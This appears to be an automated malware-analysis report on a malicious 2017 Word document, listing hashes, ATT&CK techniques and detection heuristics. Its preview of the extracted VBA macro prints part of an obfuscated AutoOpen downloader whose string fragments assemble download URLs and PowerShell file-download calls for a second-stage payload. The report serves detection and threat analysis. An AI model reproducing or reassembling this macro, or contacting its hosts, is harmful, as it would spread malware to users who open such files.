Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 607aa428401fe8e6…

MALICIOUS

Office (OLE)

158.5 KB Created: 2017-11-27 11:29:00 Authoring application: Microsoft Office Word First seen: 2017-12-09
MD5: 74008c237f9382ac5a6472d097687a8b SHA-1: 678dc05873c09fd280da2030aa630b0b42d986ad SHA-256: 607aa428401fe8e6d66583cdfc43a7879b1173c0d116a1e53ebd4e044511bfd1
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The macro utilizes the Shell() function, indicating an intent to execute external commands. This is further supported by ClamAV detecting it as obfuscated malware. The macro appears to be constructing a URL from obfuscated strings, likely for downloading a secondary payload.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6387400-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6387400-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.wang In document text (OLE body)
    • http://wwwqw14z9dLIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 82737 bytes
SHA-256: 9dd415c86c11d50db6332735a7753709b38c871204e6f39f48b479375d0f3960
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "PZuISOiIa"
Function QiiPPcnDM()
ImUDRi = Array(StrReverse(StrReverse("zGIAOfstwA")), StrReverse("mbRzsuiXXP"), StrReverse("HjLfQiJcPT"), StrReverse("VHPEVAhvtN"), StrReverse("uahjtjMJZn"), StrReverse("RYziPTvdjj"), StrReverse("VQicifLMir"), StrReverse("NniKUjwblk"))
QmTrb = Mid("oURVhLfjaptts8wK5xpy/YMj.Spuxp+uxplituxp+uxp(YMjVnL+VnKsw8wbOo", 18, 37)
FiKsmwUHq = Array(StrReverse(StrReverse("uODZcJIVir")), StrReverse("aKtDurWcSR"), StrReverse("fcmvwIBSZX"), StrReverse("wnqPTOjsUz"), StrReverse("jifQBbJvKY"), StrReverse("ISuzTScIbU"), StrReverse("HpvHsmUdkf"), StrReverse("HiISiAwVtW"))
UusBwdaiNEd = Array(StrReverse(StrReverse("SACbBzJlpB")), StrReverse("FDLKrdwEEN"), StrReverse("VziiaiunJi"), StrReverse("UTrzQUODbh"), StrReverse("WaXclJbTSr"), StrReverse("kuWXOSWTAW"), StrReverse("CVcGhmMLtW"), StrReverse("PtcXrvbBwR"))
zMBMZzlQ = Array(StrReverse(StrReverse("AtHoWfNaOh")), StrReverse("bdTBzsEKnu"), StrReverse("wWoqsJDTnP"), StrReverse("wVAjGOpzuc"), StrReverse("QwGCaVTGoQ"), StrReverse("AirdIiFQvM"), StrReverse("cumwjGcjuk"), StrReverse("CFPKdBPlPW"))
WpjzZrtiM = Mid("Wm/uxp+uxpwux'+'p+uxpww.uxp+uxpfr'+'iuxp+uxVnL+Vn'+'Lpgolitfabrikuxp+uxpen.VnL+VnLse/uxp+uxpzVnL+VnLpuxp+uwnkvmdpQHolzi6IhKOYE2v9i75GM65hU", 3, 104)
TLXBEpkjsU = Array(StrReverse(StrReverse("CaUSwZwTkw")), StrReverse("wuCEiAzQvz"), StrReverse("zPawbqRzfT"), StrReverse("qUXiUcBKIH"), StrReverse("psbvYVqYsr"), StrReverse("zLGzUmAYqH"), StrReverse("IwnRHiWUkC"), StrReverse("wnHnJEofXG"))
sVGsXBOCOdR = Array(StrReverse(StrReverse("pwiWPTdWbc")), StrReverse("JYDiAVKHTU"), StrReverse("tkLDOuPhzG"), StrReverse("OTBYXfPQiP"), StrReverse("dGIRbiBhKI"), StrReverse("rISvdFkaIV"), StrReverse("EwWUOpXiKU"), StrReverse("FuZDqnbtck"))
XSqAtJ = Array(StrReverse(StrReverse("KXXumpAHvF")), StrReverse("KuqllBPiFW"), StrReverse("ZDaDCzEvtn"), StrReverse("jjPCJAOHSz"), StrReverse("CjnfiMNzJv"), StrReverse("aIWuMGzUsm"), StrReverse("lENHWbfncl"), StrReverse("nHMITpQuYp"))
zYowYjO = Mid("mFAczU3N3XZGm+uxp.fingerfuxp+uxVnL+Vn'+'Lpun.co.uxp+uxpuk/npZVn'+'L+Vn'+'LdQQy/uxp+uxp,uxpVnL+VnL+uxphttp://www.r'+'uxp+uxpelicstone.uxp+uxpcouxp+uxpm/wuxpVnL+VnL+uxp'+'pEw1sofzjAmwz", 14, 157)
lJEHnP = Array(StrReverse(StrReverse("tiWrPGBGvR")), StrReverse("upHNLhjnDl"), StrReverse("GWWqCwiPEq"), StrReverse("drwYbWafEI"), StrReverse("oQjtZQmLrJ"), StrReverse("DnqqdWLfoT"), StrReverse("XmBEnDrilo"), StrReverse("HEjuzpncQm"))
fwABq = Array(StrReverse(StrReverse("mHmzMbMVpC")), StrReverse("DuOfMzWfJC"), StrReverse("haVYISvOaX"), StrReverse("qCvCAdSQvv"), StrReverse("PJzZistjvV"), StrReverse("TkkWIMmNot"), StrReverse("fzuSMAzMfi"), StrReverse("fFkOnXcvqQ"))
RjAaIhHATzq = Array(StrReverse(StrReverse("kRXMbnIOCa")), StrReverse("BZcXAljImq"), StrReverse("raAwjkicIC"), StrReverse("fEjzGpYdiQ"), StrReverse("sTAHwMwvGO"), StrReverse("kFWfZJQYdq"), StrReverse("JfGzuwqfQK"), StrReverse("MFZWzYZsAX"))
LaFNnZb = Mid("nfTlZ9LvhJN7File(e'+'uxp+uxpAbVnL+VnLabc.Tuxp+uxpoVnL+VnLuxp+uxpSuxp+uxptuxp+uxpring(uxp+VnL+VnLuxp),uxp+uxp euxpV'+'nL+VnL+uxpAbhuas);uxp+uxpIn2Fcc3A8cfQpXQRwEnuiL3H", 13, 132)
nziIw = Array(StrReverse(StrReverse("ZPSEEGSZuo")), StrReverse("rFbBPROfMh"), StrReverse("tjANqNzWik"), StrReverse("jqXYTPfqNG"), StrReverse("hZSrrZdiwV"), StrReverse("JwiIWtOFNq"), StrReverse("GwqJEAiDiz"), StrReverse("mYSGATNJWQ"))
wAPIwOIbK = Array(StrReverse(StrReverse("oiWtSZhDXw")), StrReverse("YzAsGMNBNB"), StrReverse("VQivBifAiB"), StrReverse("jXYFBaJMhU"), StrReverse("PnHTlMFhPk"), StrReverse("KYfwCXEbsn"), StrReverse("uhVWNAbuqf"), StrReverse("DBTsmhJKJo"))
jBdQEXP = Array(StrReverse(StrReverse("bjVHFpptzA")), StrReverse("mvIwvCoIzj"), StrReverse("DQtmTUUzvT"), StrReverse("ufbBFakFda"), StrReverse("nXRisqlGJZ"), StrReverse("uKftJLmiok"), StrReverse("UpwjGHTGsV"), StrReverse("SjfXsjwOtd"))
wEj
... (truncated)

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